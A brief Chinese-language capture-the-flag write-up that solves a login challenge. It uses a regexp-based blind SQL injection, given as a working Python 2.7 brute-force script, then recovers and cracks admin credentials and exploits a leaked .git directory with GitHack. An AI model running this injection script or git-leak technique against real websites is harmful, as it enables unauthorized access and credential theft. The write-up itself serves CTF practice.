- 进入页面登陆
- 输入东西都没有
-
直接给burpsuite看看
图片.png - 有个盲注,此处测试mid left都不行，只有regexp行
- 用脚本进行盲注
# py2.7
import string
import requests
u = 'http://c6065149f0634125968c0ed3421e96e17e45f13aa4af4331.changame.ichunqiu.com/Challenges/login.php'
headers = {
'Content-Type': 'application/x-www-form-urlencoded'
}
payloads = string.letters + string.digits
temp = ''
for i in xrange(32):
for p in payloads:
payload = temp + p
data = "username=aa'or p3ss_w0rd regexp '^{}'%23&password=admin".format(payload)
r = requests.post(u,headers=headers,data=data)
if(len(r.text.encode('utf-8')) == 12):
temp += p
print temp.ljust(32,'.')
break
- p3ss_w0rd是刚开始页面里面源码弄的，什么思路我也不懂。。
- 得到账号是bctf3dm1n，密码是个md5，解密要收费，是adminqwe123666
- 然后登陆进去后给出个目录列表
- 仔细看那个名字.bctfg1t，应该是bctf的git。git泄露哦
- 用githack，不是老版的githack，而是https://github.com/BugScanTeam/GitHack，能找到历史版本
- 运行得到git目录。然后进去git cat-file -p HEAD（历史纪录），例如
git cat -file - p a1/7d89c6219a1bcca6cb3b40526cc5b9da715a6e 去掉/号 - 多试试可以得到一个php目录，然后访问得到flag。
